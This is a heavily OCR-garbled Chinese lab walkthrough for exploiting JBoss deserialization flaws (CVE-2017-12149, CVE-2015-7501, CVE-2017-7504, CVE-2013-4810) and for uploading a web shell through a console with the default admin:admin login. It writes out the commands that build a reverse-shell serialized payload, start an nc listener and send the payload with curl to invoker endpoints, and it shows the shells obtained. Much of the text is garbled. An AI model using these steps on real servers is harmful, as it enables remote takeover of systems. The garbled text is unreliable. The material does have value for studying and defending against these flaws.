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=l
@Oﬂ - WEA, - FHEEE ) - TBossB + jboss—f. 1. 0. Final - bin - - m“ $E bin @‘
s - OSEEE T ES v PEIER =~ 1 @
o s £ | fzzeme | zem B | E
a5 T# . natiwve 2011/8/16 9:03 prgtc)
=T || slasspath sh 2011/8/16 8:47 SH I 4 KB
= BiRhieauE | ] jboss_init_hpux. sh 2011/8/16 &:47 SH ik a1
) || jboss_init_redhat. sh Z011/8/16 &:47 SH A 3B
= & || jboss_init_solaris. sh Z011/8/16 &:47 SH A 9 KB
ggﬁ U jboss_init_suse. sh Z011/8/16 &:47 SH A 1 KB
3 it . jbosssve. exe 2011/8/16 8:47 FRERE &0 EE
J’ =5 || logging properties Z011/8/16 &:47 PROPERTIES 7{%F 3B
[&] password_tool. bat 2011/8/16 8:47 Windows HEAMFE. .. 3 KB
R, || password_tool. sh Z011/8/16 &:47 SH A 1 KB
probe.bat Z011/8/16 &:47 Windows MRS, . 1 KB
€ [l || probe. sk 01178716 G147 SH 3T 2 KB
|| REAIME-serwvice. txt Z011/8/16 &:47 proave | 3 KB
[ [ run. bat 01178716 G147 Windows HEAME. .. 4 KB I
T run, cont 201176716 @47 CORF “ZTF Z IE
[E] run. conf. bat 01178716 G147 Windows HEAME. .. 3 KB
&) run. jar 2011/8/16 8:50 Executable Jar. .. 7T KB
| run. sh 2011/8/16 &:4T SH 3Tt 10 KB
service. bat 01178716 G147 Windows HEAME. .. 4 KB =l
l 31 g
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[t4|C: \Windowsisystem3Zicad. exe ;lﬂﬂ
1 B
22:27:58.183 INFO [RARDeployment] Required license terms exist, view vwfs:-sC:r/JB
ossb-Jjhoss—6.1_.A.Final/serversdefault deploy/jhoss—xa—jdbc.rar-META—INF ra.xml
22:27:58,183 INFO [RARDeployment] Required licensze terms exist, view vwfs:rsC:-JB
ossb/Jjhoss—6.1.8.Final/serversdefault deploy-jmz—ra.rar~MEITA-INF-ra.xml
22:27:58,.192 INF0O [HornetQResourceAdapter] Hornetd resource adaptor started
22:27:58,.214 INFO [RARDeployment] Required licenze terms exist, view vwfs:sC:AJB
ossh/jhoss—6.1.A.Final/serversdefaultdeploysmail—-ra.rar-META-INF- ra.xml
22:27:50,.230 INFO [RBARDeployment] Required license terms exist, view wis:/C:/JB
ossb/Jjhoss—6.1.A.Final/serversdefault  deploy/gquartz—ra.rar-META-IHF-ra.xml
22:27:58.292 INFO I[SimpleThreadPFooll Job execution threads will uwuse class loade
¥ of thread: Thread-2
22:27:58.323 INFO I[SchedulerSignalerImpl] Initiali=zed Scheduler Signaller of tuy
pe: class org.gquartz.core.SchedulerSignalerImpl
22:27:58,.323 INFO [QuartzScheduler] Quartz Scheduler v.1.8.3 created.
22:27:58,.323 INFO [RAMJobhStorel] RAMJobhStore initialized.
22:27:58.323 INFO [QuartzScheduler] Scheduler meta—data: Quartz Scheduler
-3> *JBossQuartzScheduler’ with instanceld *MNON_CLUSTERED'

Scheduler class: 'org.quartz.core.QuartzScheduler’ — running locallw.

HOT STARTED.

Currently in standby mode.

MHumber of Jjohs executed: @

Using thread pool ‘org.quartz.zimpl.SimpleThreadPool’ — with 18 threads.

Using job—store ‘org.quartz.zimpl.RAMJobStore’ — which does not support persis
tence. and is not clustered.

22:27:50,.323 INFO [StdSchedulerFactoryl] Quartz scheduler ‘JBozsQuartzScheduler’
initialized from an externally opened InputStream.

22:27:50,.323 INF0 [StdSchedulerFactory] Quartz scheduler version: 1.8.3

22:27:58,323 INF0 [QuartzScheduler] Scheduler JBossQuartzScheduler_5_MNON_CLUSTE

RED =tarted.

22:27:58_.582 INFQ I[ConnectionFactoryBindingServicel Bound ConnectionManager *jb

oss.jeasservice=DataSourceBinding,.name=DefaultD5’ to JHDI name *Jjava:DefaultDS’

22:27:51.166 INFO [ConnectionFactoryBindingServicel Bound ConnectionManager ' jh

osg.jeatservice=ConnectionFactoryBinding.name=JmzXA’ to JNDI name *java:JmsHA’

22:27:51,.229 INFO [xniol XMIO Version 2.1.8.CR2

22:27:51,.229 INFO [niol XNIO NIO Implementation Uersion 2.1.8.CRZ2

22:27:51,.385 INF0O [remotingl JBoss Remoting version 3.1.8.Beta2

22:29:51.447 INFO [TomcatDeployment] deploy. ctxPath=-

22:27:51.518 {Efﬁ [HornetQServerImpll] trying to deploy gueuwe jms.gueuwe . Expiry

Queue .

22:27:51.635 1535 [HotnetQServerImnpll] trying to deploy gqueune jms.gueue.DLQ

22:27:51,.666 1= 5, [service]l Removing bootstrap log handlers

22:27:51.697 INFO [oi'g.apache.coyote_ httpll HttpliProtocoll] Starting Coyote HIT

Pr1.1 on http—127.8,1.1-8888

22:27:51,.697 INFO Jilorg.apache.covote.ajp.AjpProtocoll] Starting Covote AJP-1.3 o

n_ain—127 _A_8_1-8La?

22:27:51.697 INFO [org.jboss.hootstrap.impl.baszse.zerver.AbhstractServer] JBossASs
[6.1.8.Final "Meo'] Started in 165:783ms

JDOSSERIA TR B 12

1. xxx\jboss-6.1.0.Final\server\default\deploy\ROOT.war

ARHYIE—T
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Manage this JBoss AS Instance

« Administration Console
« IMX Caonsole
« 1Boss Web Sarvices Conscle

JBoss AS Online Resources

« JBoss AS Documentation
« 1Boss Wiki

 1Boss AS JIRA

* JBoss Forums

« JBoss Mailing Lists

1Boss Application Server

IERAE BRI

xxx\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml {&fc &

Bre—ane

=IEY

o, -
‘ek)ﬂ . - FMIFES (C:) ~ JBossB v jboss—6.1.0.Final - server + default + deploy + jbossweb. sar -

- ml E jboszweb. zar

g
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o Wik
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W |
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S E
B s
= Bs
[ =4
& BF
M E,

S g

l a PR

HE v HERHE

= - 0 @
7 ~ | imemtn | 2em | A | |
| META-THF 2011/8/16 8:52 sk

| | catalina properties 2011/8/18 5:48 PROPERTIES 7{%F 1 KB

=] context.xml 2011/8/18 5:48 WML BT 1 KB

& jasper—jdt. jar 2011/8/18 &:54 Executable Jar... 1,486 KB

%] jbossweb. jar 2011/8/18 §:52 Executable Jar... 2,212 KB

&) jboss—web—service. jar 2011/8/18 §:52 Executable Jar... 402 KB

4] jstl. jar 2011/8/16 &:52 Executable Jar. .. 427 KB

=] server. xml 2011/8/18 5:48 WML BT 9 KB I

=] web. xnl 2011/6/16 &:48 L A 41 1B

1. ¥§address="${jboss.bind.address}"-->address="0.0.0.0"
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[ #C:\JBossBAjboss: inal\server\defanlt\deploy\jbos:
wHE REE #Fe WE0 K8m BE0 BE0 TAO Em ET® Ee &§ow e
cHEHE | &S e i+ ([ =R IORCRCR R =]k
[ server xmlml

1

sariserve Hotepadtt

SEL

1 Edaxva»
3 H <!'-- cptional hich init and shutdown of APR,
r ed ——>
<Listener classN org.apache.catalina.core.Aprlifecyclelistener” re="on" />

<i--
<Listener className:

prior to webapps are loaded. Documentation at /docs/jasper
org.apache.catalina.core.Jasperlistener” />

nowto.ntml ——>

6

<Service name="jboss.web">

-—>
1. rt="5{jboss . web.http.port} |
§{jboss.web.https.port}" B

<!-— & BJE 1

<Connector

TE, SSLEnab:
.https.porc}” ad

F -

<Engine name="jboss.web" defaultHost="localhost">

e JRAS based aut!

length : 8,533 limes : 171 [ln:12 Col : 8¢ Sel:0 |0

Welcome to JBoss AS - Mozilla Firefox

O 4 192.1

Kali Linux Kali Training Kali Tools = Kali Docs Cali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU

® @ by Red Hat

Manage this JBoss AS Instance
iministration Console
« JBoss Web Senices Console
JBoss AS Online Resources
« JBoss AS Documentation
S Wik

« JBas
« JBoss AS JIRA

oss Mailing Lists

JBoss Appiication Server

Jbossi&i
JBoss 5.x/6.x = F5{ti®iFA(CVE-2017-12149)

i 1e) S TR

[omix 0E) [ure-5 s

|l @l @2 @ E b =

JBOSSApplication Serverz 75L& SHITIRIE, ERENEHEF ARBUERZEMAZHRIENRSEE

M EBATIERRED

FIsE

JBoss 5.x/6.x
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Wi R EFEmA

1. /invoker/readonly

JBoss Web/3.0.0-CR2 - Error report - Mozilla Firefox
M JBoss Web/3.0.0-CR2 - X +

<« ¢ @ © 4 192.168.175.195

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU

HTTP Status 500 -

[T Exception report
message}
[T The server an internal error () that prevented it from fulfiling this request.

java.io.EOFException
java.io.ObjectInputStream$PeekInputStream. readFully(Unknown Source)
java.io.ObjectInputStream$BlockDataInputStream. readShort(Unknown Source)
java.io.ObjectInputStream. readStreamHeader (Unknown Source)
java.io.ObjectInputStream.<init>(Unknown Seurce)
org. jboss.invocation.http.servliet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:102)

[T The full stack trace of the root cause is available in the JBoss WeDi3.0.0-CR2 logs.

Boss Web/3.0.0-CR2

RE500, WAL REFERFIICRR

imiEF A
fidc BjavachIERrE
FixihfEkaliFfTIR(E

1. cd /opt
. curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-

x64.tar.gz
i XEERZ K BEAE

N

. tar zxvf jdk-8u20-linux-x64.tar.gz

. rm -rf /usr/bin/java*

. ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
. javac -version

. java -version

O 00NV AW

DAY EES

FHE LEBDRE
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I =T [Boss Web/3.0.0-CR2 ... (] root@kali: jopt oeFTFo@o aD|ac
root@kali: opt
SCEF)  BhEA) GEE(E) BE(V) WEAH)
jdk1.8.0_20/jre/lib/amd64/1ibjavafx_font.so
jdk1.8.0_20/jre/lib/amds4/1ibprism_common.so
jdk1.8.0_20/jre/1ib/amd64/1ibnio. s0
jdk1.8.8_28/jre/lib/amd64/1ibprism_es2.so
jdk1.8.8_28/jre/lib/amd64/1ibinstrument.so
jdk1.8.8_28/jre/lib/amd64/1ibkcms.so
jdk1.8.8_28/jre/lib/amd64/1ibawt_xawt.so
jdk1.8.8_28/jre/lib/amd64/1ibmanagement .so
jdk1.8.8_28/jre/lib/amd64/1ibunpack.so
jdk1.8.8_28/3re/1ib/amd64/1ibgstreamer-lite.so
jdk1.8.8_28/3re/1ib/amd64/1ibawt_headless.so
jdk1.8.8_28/3re/1ib/amd64/1ibavplugin.so
jdk1.8.8_28/3re/1ib/amd64/1ibsplashscreen.so
jdk1.8.0_20/jre/lib/fontconfig.properties. src
jdk1.8.8_28/3re/lib/psfont.properties.ja
jdk1.8.8_28/3re/1ib/fontconfig.Turbo.properties.src
jdk1.8.8_28/3re/lib/jce. jar
jdk1.8.0_20/jre/1ib/Flavormap.properties
jdk1.8.8_28/3re/lib/jfxswt.jar
jdk1.8.8_28/3re/lib/Fontconfig.SUSE.10.properties.src
jdk1.8.8_28/3re/1ib/fontconfig.SUSE.11.bfc
jdk1.8.8_28/3re/COPYRIGHT
jdk1.8.0_20/jre/THIRDPARTYLICENSEREADME- JAVAFX. txt
jdk1.8.8_28/3re/Welcome.html
jdk1.8.8_28/3re/README
jdk1.8.0_20/README.html

Jopt
/usr/bin/java

® Jopt
/opt/jdk1.8.0_20/bin/j* /usr/bin

n: EEGIRFFSEEE "Jusr/bin/jar': IHEHFE

n: EHEGRFSEE "Jusr/bin/jjs': IHEHFE

@ Fupt

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings-on -Dswing.aatext-true
java version "1.8.0_20"

Java(TM) SE Runtime Environment (build 1.8.0_20-b26)

Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

® Jopt

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings-on -Dswing.aatext-true
javac 1.8.0_20

® Jopt

FIATIE: JavaDeserH2HC
1. https://github.com/joaomatosf/JavaDeserH2HC

F{1%EE—1> Gadget: ReverseshellCommonsCollectionsHashMap, FAERF TR

- ~/ 5 H /JavaDeserH2HC-master

Alien.java

commons-collections-3.2.1.jar
DnsWithCommonsCollections.java
ExampleCommonsCollectionsl. java
ExampleCommonsCollectionsiWithHashMap. java
ExampleTransformersWithLazyMap.java
ExploitGadgetExamplel. java
ForgottenClass. java

LICENSE

README . md
ReverseShellCommonsCollectionsHashMap. java
reverseShellMultiplatformCommonsCollections.xml
SleepExample. java
someInvocationHandler. java
TestDeserialize. java

TestSerialize. java
VulnerableHTTPServer. java
Xstream-1.4.6.jar

. ~/ 5% M /JavaDeserHZHC-master

4R : ReverseShellCommonsCollectionsHashMap.class

https://forum.butian.net/share/504
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1. javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

4R : ReverseShellCommonsCollectionsHashMap.ser

1. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:iif[]

2. #IPHTw J2vps_Enc HE 0T HY
3. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.
175.161:8888

T T

1. nc -lvvp 8888

FIF: ReverseShellCommonsCollectionsHashMap.ser

1. curl http://192.168.175.195:8080/invoker/readonly --data-binary @ReverseShellCommonsColl
ectionsHashMap.ser

FLINEE 2 Hshell

root@kali: ~/..erH2HC-master B root@kali: ~/..erH2HC-master &

~/ %1 /JavaDeserH2HC-master

JBoss JMXInvokerServletZ FF%5{Li®miE(CVE-2015-7501)

i ij0) JFR I

JBossH invoker/JMXInvokerServlet EE{EXIINFAL, JBossRIjmxZBE4 Sz FJavak 51k

i i1 5 M
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. Red Hat JBoss A-MQ6.xAR 7 ;
. BPM Suite(BPMs)6.xhR7Z ;
. BRMS6XARASFO5. XhR A 5

. Data Grid(JDG)6.xhR 2 ;

. Data virtualization(JDV)6.xARZSF15. xhR 2 ;

—_
- O

. Enterprise Application Platformé.xiR7x, 5.xhRZA<F14.3kR7;

- .
N

. FuSe6.XiR7<; Fuse Service Works(FSW)6.xhR7s;

N
[EIFN

. Operations Network JBOSs On 3.xik7<; Portalcé.xhR7~;

- -
N o

. SOA Platforn(SOA-P)5.xkRZxWeb Server JWS)3.xhR4;

- -
© o

. Red Hat OpenShift/XPAAS 3.xhR7Zs;

NN
- O

. Red Hat Subscription Asset Manager1.3hRZ4x

B8 JiF il iR

1. /invoker/JMXInvokerServlet

M JBoss Web/3.0.0-CR2- X+

< c @ 192.168.175.195

Kali Linux Kali Training Kali Tools Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU
HTTP Status 404 - linvoker/JMXInvoker

[T Status report
[T finvoker/IMXinvoker

[EETEIIT] The requested resource (finvaker/JMXInvoker) is not available.

Opening JMXInvokerServiet

Boss Webi3.0.0-CR2 You hav osen to open:

B JMXinvokerServlet

fox do with this file?
vith  Browse.

Do this automatically for files like this frol W on

Cancel

Wk, HBREOAR, HEANFERFIILRR

e 1) FR

B 37 FHCVE-2017-12149fReverseShellCommonsCollectionsHashMap.ser & %
F| /invoker/JMXInvokerServlet &M
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1. curl http://192.168.175.195:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCo
mmonsCollectionsHashMap.ser

FHEE R R

*J’iE Ja\raDeserHZHc-master

.1 H.l X{Invoker et aReve ellCommonsCollectionsHashMap.ser
Ju‘r_pu'r_ a ter utput -" to tell
output terminal : onsider utput

175.194] 491

ration@ OOV VO00

R

FEE http-invoker.sar BRI P AT DLE MR

51279 C:\JBoss6\boss-6.1.0.Final\server\default\deploy

deple =18] x|
o()§ - HEH - FHREEE ) - JBossd » jboss—b. 1.0, Final ~ server = default = deploy = I - B[ #E we )
a8 - i BEEER - 55 - SRR . =-H8
P— E | zzmsn T [EX | 2]
& TE q 2011/5/16 8:54 THE
jboszueb. 2011/8/16 8:54 WX
=E nsra e 2011/8/16 8:52 sk
= K mod_cluster. sar 2011/8/16 8:54 it =4
AR OOT. war 2011/8/16 8:54 bt =3
fz? zzzzz ty 2011/8/16 8:51 jods =3
bt i d-key-generator. sar 2011/8/16 8:45 wHx
N E 2011/8/16 B:51 a2
] adnin-consol e-activator-jhass-besn. 2011/8/16 8:48 L S 2 5B
G e 2 cache-invalidation-service. xnl 2011/8/16 848 WML ST 3 KB
2011/8/16 8:48 L S 1 KB
2011/8/16 8:45 L By ER ]
2011/8/16 8:48 L A 2 5B
2011/8/16 8:45 L By 1 KB
[ ejbaminterceptovs-acp. mnl 2011/8/16 8:45 L A 3 K
) hdscanner-jboss-beans. xnl 2011/8/16 8:48 L S 2 5B
[ hsqlab-dz. znl 2011/8/16 8:45 L A T8
s5-ejba-enbedded-inpl-as. jar 2011/8/16 8:51 Executable Jar (8] L
Local-jdbe. rar 2011/8/16 8:54 IBOMEHR RAR TR 17 KB
2011/8/16 8:48 L A 19 KB
ctivator-jboss-be. 2011/8/16 8:45 L A 2 KB
201178416 8:52 BOER RaR 18 BB
2011/8/16 8:48 L S ER ]
osz-beans.xnl  2011/8/16 8:48 L SRy 2 KB
2011/8/16 8:48 L A ER:]
2011/8/16 8:45 L By 258
2011/8/16 8:48 L A (8]
e xnl 2011/8/16 8:48 L S 1 KB
201178416 8:54 BOER RaR 18 BB
service snl 2011/8/16 8:48 L A 2 KB |
http-invoker. sar (EEH: 2011/8/16 8:47
g =3

2. 7530 TSR AL Ehttp-invoker.sar Tweb.xmlfd security-constraint #x%H, Xthttp-invokerfB 31T ]
=
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JETE
Gev - HEAL - FHEHE € - ThossB ~ jbossb.1.0.Final v server v defanlt v deploy ~ http-invoker. sar » invoker.var  WEB-IWF v | - l@” HE YEB-INF 2]
B v mAFEG v HE - RIS =~ 0 @

- - ==t [E=1 [ e | |
B T# elasses 2011/8/16 #:45 TR
! éﬁ N =] jbozz-web. xml 2011/8/15 12:39 L 37 1 1B
It (2] web. znl. 2011/8/15 12:33  IML 3745 818
S E
B ns
= B
) 3oy
o BF
.,
i P2
3 RE

1. <url-pattern> /* </url-pattern>

<url-patterny/readonly/JMXInvokerServlet/+</url-pattern: =]
</servlet-mapping>

ings that place the
icat

users sh
-
<servlet-mapping>
<servlet-nane>JNDIFactory</servlet-nane>
<url-pattern>/restricted/JNDIFactory/*</url-pattern>
</servlet-mapping>
= <servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-patterny/restricted/JMKInvokerServlst/+</url-patterny
- </servlet-mapping>

nvoker

you want and

reference

<web-resource-collections

<web-resource-nane>HttpInvokers</web-resource-name>
= <description>An example security config that only allows users with the
role HttpInvoker to access the HTTP invoker serviets
F </description>
<url-pattern>/restricted/+</url-pattern>
<nttp-method>GET</http-methody
<http-method>POST</http-method>
F </web-resource-collection>
= <auth-constraincy
<role-name>HttpInvoker</role-name>

</auth-constraint>
</security-constraint>
H  <login-config>
<auth-mechod>BASIC</auth-method>
<realm-name>JBoss HTTP Invoker</rsalm-name>
I </login-config»

- s

eXtensible Marlup Language file length © 7,318  lines : 177 |ln: 140 Col : 61 Sel -0 |0 [imiz 0y F-a [zws

JbossMO JMSE FF51{Li&iRE (CVE-2017-7504)

i i10) JER TR

Jboss AS 4.xK Z HIMAH, JoossMQSEIITFERT JMS over HTTP Invocation Layerfd
HTTPServerlLServiet.javaxX - & F5LiRE, TR EE W EBEH 0 F 5 EERF RiZR BT
EERE

-2 0]

Jboss AS 4.xPA K Z Fi B B AR

https://forum.butian.net/share/504 13/31
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A Jbosss

FELFJavaifii XEEFEIDKHIFRA javab

|§J Java(TH) SE Development Eit 6 Update 45 (64-bi

Java(TM) SE Development Kit 6 Update 45 (64-bit) @k Th3rat

By R R Thiaiig, APL IS, R AR, R B RESME, SR
F =R DK=

Basmo) |

B EEEABJbossIMNETE

HEhE | EE B8 |EE |
BTEEHER, DAEAEERER

[das MAFEE W
i1

BE ) RUSERPROFILE®\AppDataiLocal \Tenp
THE RUSERPROFILE®\AppDataiLocal \Tenp ErErsal L‘
~RPEE TN
SEERRAATEE S —
L LI T U N = L o e X S—
B SRR = —
FRED . RS =3 & |

ConSpec C:Windons\systend2hond. xe =)

BEM FE_WOHDSTC... WO
MMBER_OF_FE,
e 0s Hindows T =l
I FEEE W I
Eiz 40 fwiE M) il L)
WE BE

[
MR RIEER, PR, UURRITE

BEE. |

= BEH JEzF ()

EZIEICIE LY ECDEREEr T
1&1Trun.bat

HIINFO BB RLTh
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4| C:\Windowshisysten3Zicnd. exe

1@:27:82.316
r» of thread:
1@:27:82.331
1@:27:82.331
1@:27:82.331
PJ

18:27:82,331
18:27:82,331

INFOQ
main
INFOQ
INFOQ
INFOQ

initialized from default reszource file in Quartz package:

INFO
INFO

TERED =ztarted.

18:27:82,612

058 . jeaiservice=DataSourceBinding.name=DefaultD5”’

18:27:82,721
18:27:82.,.737
18:27:82.,.737
1@:27:82,.737
1@:27:82,.737
18:27:82,737
18:27:82,737
18:27:82,737

1@:27:82,.752
1@:27:82,.752
B.8.1:8093

1A:27:82,.768
1@:27:82,.988

oss.jeasservice=ConnectionFactoryBinding,.name=Jmz&A"

18:27:82,.924

INFO

INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO

INFO
INFO

INFO
INFO

INFO

[SimpleThreadPool]l Job execution threads will wuse class luadeI!

[QuartzScheduler] Quartz Scheduler v.1.5.2 created.
[RAMJohStore ] RAMJobStore initializ=ed.

[StdSchedulerFactory]l Quartz scheduler *DefanltQuartzSchedule
‘gquartz . properties’

[StdSchedulerFactory]l Quartz scheduler verszion: 1.5.2
[QuartzScheduler] Scheduler DefaultQuartzScheduler_%_HOM_CLUS

[ConnectionFactoryBindingService ]l Bound ConnectionManager * jh
to JHDI name °java:zDefaultD5*
[A] Bound to JNDI name:
[E]l Bound to JHNDI name:
[C] Bound to JHNDI name:
[D] Bound to JNDI name: gueuesD

[ex] Bound to JMDI name: gueuesex

[testTopic]l Bound to JNDI name: topicstestTopic
[zecuredTopic]l Bound to JMDI name: topicssecuredlopic
[testDurableTopic]l Bound to JMDI name: topic/testDurableTopic

quewne A
queue B
queue -G

[testQueue] Bound to JHDI name: gueuwestestQueue
[UILEerverlLEervice] JBo=sMQ UIL service availahle at : ~127.
[DLG]1 Bound to JHDI name: gueue~sDLQ
[ConnectionFactoryBindingService]l Bound ConnectionManager *jh
to JHDI name *java:JdmsHA'
[TomcatDeployerl deploy, ctxPath=sjmx—console, warlrl=... dep

loysjmx—console .war”

1A:27:03,896
A2Q

18:27:83.89¢
18:27:83.4111

INFO

INFO
INFO

[HttpliProtocoll Starting Covote HITP-1.1 on http—127Y_A.0.1-8

[AjpProtocol]l Starting Covote AJPA1.3 on ajp—127.6.6.1-880%
[Server] JBoss (ME MicroKernel) [4.2.3.GA <huild: SUNTag=JBos

=_4 2 3 GA cate=I@df@7181417>]1 Started in 6=:881ims

ARHYIE—T
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£, Welcoze to JBoss” x 4+

€« C © 127.0.0.1:8080 B v &

JBoss Online Resources

« JBoss AS Dacumentation
+ 1Boss Wiki

« JBoss JIRA

- JBoss Forums

JBoss Management

+ Tomcat status (full) {XML)
« IMX Console
« JBoss Web Console

JBoss™ Application Server

ol B & L E[E = o @I @] [ 1 8 s ey

REZEER

1. C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

. jboss—web. deployer -IDI&
. 0 = =
ek)ﬂ l - B, - EHFEE C) + jboss—4.2. 3.Gh v server v default - deploy + jboss—web. deployer - l = m” 2 jbozs-web. deployer [_o]‘
|0 - wWAFEG v #E v FETEE =~ [ @
e,
s B - | 2t [ 2z B | It
& T# | cenf 2008/T/18 14:22 IHFE
HaEm | jsf-libs 2008/7/18 14:22 ik
= FifhieauE
. META-TIHF 2008/7/18 14:22 pry===d
.‘ri B . ROOT. war 2008/7/18 14:22 pry===d
B s =] context. xml FO0E/T/16 14:21 ML Y ]
% & 4] jasper-jdt. jar 2008/7/18 14:22 Executable Jar. .. 1,351 KB
ﬁ 5? 4] jbossweb. jar 2008/7/18 14:22 Executable Jar. .. 2,407 KB
=5
%] jbossweb—extras. jar Z008/TF16 14:22 Executable Jar. .. 46 KB
MR, 4] jbossweb—service. jar 2008/7/18 14:22 Executable Jar. .. 229 KB
/] jstl. jar 2008/T/16 14:22  Executsble Jar... 410 KB
. SHesttes
GF PR = serwer. xml 2008/7/18 14:21 WML BT 9 KB
=] :
11 g
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[ C:\jboss—4.2.3. GA\zerver\default\deploy\jboss Hotepadtt =
e EEE #FEc MR KB FE0 B850 TEOM Fm ETe ffite &0m ? X
cHHEHE 5B & WD |||t < Bl = e e

server. xnlEd |

b_deployeriserver. x

m

H<Server> -

ame="org.apache . catalina.core. AprLifecycleListener"
ze Jasp: 4
Name="org.apache.catalina.core.JasperListener” />

* to webapps are loaded. Documentation

of Standards:
dent of the normal 1

e that al

d before star

requests are received

(blocking & n

does/apr.ntml
[= ctor on port

"${jboss.bind.address}" ]

<y ="ET
"true" protoc HTTP/1.1"

"false" redirectP "8443" acceptCount="100"
uT="20000" disablelUploadTimecut="true" />

T on port 8443

APR, the

<!-— Defi
<Connector po:

an ector on port & -
${jboss.bind.address)" protocol

"true" enablelookups="rfalse" redirectPort:

/>

Eﬂ <Engine name="jboss.web" defaultHost="localhost"s>

[eHtensible Markup Language file length : 8,208 lines : 168 |ln: 14 Col:1 Sel:0 [0 [omix 0E) [ure-5 s

IEH“@“? [ G @ s gu;?xfzv.

1. ¥%address="${jboss.bind.address}"-->address="0.0.0.0"

REFIRE EBE— Trun.bat

kaliliZ 21/ ]

0 4 19216

Kali Linux Kali Training Kali Tools # Kali S Kali Forums NetHunter || Offensive Security xploit-DB GHDB || MSFU

JBoss Forums
[JBoss Management
+ Tomeat status (ful) (XML)

IMIX Console
« JBass Web Console

1. /jbossmq-httpil/HTTPServerlLServlet

https://forum.butian.net/share/504 17/31
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I EETEN ® JBossMQ HTTP-IL Ser... %

10457 0 @

JBossMQHTTP-IL Serviet - Mozilla Firefox

M JBossMQHTTP-ILServi X +

< c @ O 4 192.168.175.196

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU

This is the JBossMQ HTTP-IL

BRI
i i1e) ) FH

1. curl http://192.168.175.196:8080/ jbossmq-httpil/ HTTPServerILServlet --data-binary @
2. ReverseShellCommonsCollectionsHashMap.ser

1iel1lCommonsCollectionsHashMap.ser

~/ 3 /JavaDeserH2HC-master

~/ 5 [ /JavaDeserHZHC-master

connect to [192.
Microsoft Wind
QO O00O ()

,jboss—4& GANbin>f

eI

FHRARA!

https://forum.butian.net/share/504 18/31
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JBoss EJBInvokerServile &z FF54{L &R (CVE-2013-4810)

A
I8 iE i i

1. /invoker/EJBInvokerServle
BEIR B 25 R ] LUK FH

AE X3

5(CVE-2015-7501)imB/RIEEE, XBEFHANB—TEENX 5

B XA AETFH N IREEERNHTE RJIMXInvokerServietfl EJBInvokerServietF|
£ org.jboss.invocation.Marshalledvalue #1THIKR F5{LiE1E

Web-console/InvokerF| A2 org.jboss.console.remote.RemoteMBeaninvocation #1T/& F%I{kFF
ISR S

Administration Console55 1%

Administration Console & IE IE &5 N4

FHREEERE

B Welcome to JBossAS  x  +

= c @ O £ 192.168.175.195

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU
P .
o JBoss

o
@ @ oy Red Hat

JBoss Appication Server

BO<:

admin: admin

R RERIUERD 7] LURHK
EhiEA LfEwart!

XEA EERE
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JBoss AS 6 Admin Consc X

S c @

Kali Linux Kali Training Kali Tools  Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB ]| MSFU

{“ JBoss AS 6 Admin Console

19

Web Application (WAR)

Summary l l l l

a standalone web application (WAR)

Status Actions.
L - |
[ ocete |

up

Total:2

XDAKB D)L #iTFT Bwar L%
D)

JBoss AS 6 Admin Console - Mozilla Firefox

&} JBoss AS 6 Admin Consc X

c @

Kali Training Kali Tools # Kali Kali Forums NetHunter ]| Offe e Exploit-DB GHDB || MSFU

l.'".‘ JBoss AS 6 Admin Console

19

Web Application (WAR)

6.1 JBossAS Servers : JBoss AS 6 (defaul!

Summary I I I ]

(¥ Resource shell.war created successfully!

a standalone web application (WAR)

| Addanewresource |
Name Status | Actions
v Em
(i
o v B
o= v | e
(]
e Total:3
=]
-G
2
]
]
L]

B LZBEF

HEwWartl & BT AR SR

1. /shell/shell.jsp

= C @ © £ 192.168.175.194

Kali Linux Kali Training Kali Tools » Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU
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W FrEShell 0 %

URL: http://192.168.175.194:8080/shell/shell jsp

=g rebeyond
i R ie jsp -

B default ~ p)

BEMERk:

it

B "=

S http://192.168.175.194:8080/shell/shell jsp - x

URL: | [ //192.168.175.194:8080/shell/shell.

Bz

WOPIT | SRS | HER | ARFE | Rshell | MIRREE  AEYRE | FIzE | TR S5R  FHES

HAEE

'USERPROFILE=C:\Users'dayu

ProgramData=C: ProgramData

PATHEXT=.COM; EXE; BAT; CMD; VBS,.VBE..JS.JSE; WSF.. WSH, MSC

windows_tracing_logfile=C- BVTBin!Tests installpackage csilogfile.log

ProgramFiles(x86)=C: Program Files (x86)

IBOSS_CLASSPATH=C: 10Fi

JAVASjava

windows_tracing_flags=3

TEMP=C:\Users\dayu AppData'Local Temp

SystemDrive=C.

ProgramFiles=C:Program Files
C:\Wi ! C:\ Windows;C: Windows'Sy  Whemn;CAWi 1.04C4 \ 1.0 Finalibin:

jar

ath=
HOMEDRIVE=C:
JAVA_OPTS=Dprogram name=run bat -Dlogging.config & properties -Xms128M -Xmx512M -XX:MaxPermSize=256M -Dsun.rmi dge client gelnterval=3600000 -Dsun rmi.dge.server.gclnterval=3600000 -Dorg jboss resolver.waming=true -server
RUNJAR=C:\IBoss6\jboss-6.1.0 Final bin\run jar

PROCESSOR_REVISION=9c0a

RUN_CLASSPATH=C:\JBoss6 jboss-6.1.0 Final bin'run jar

=C:=C:\JBoss6\jboss-6.1.0 Finallbin

USERDOMAIN=WIN-S08SN3AEOEO

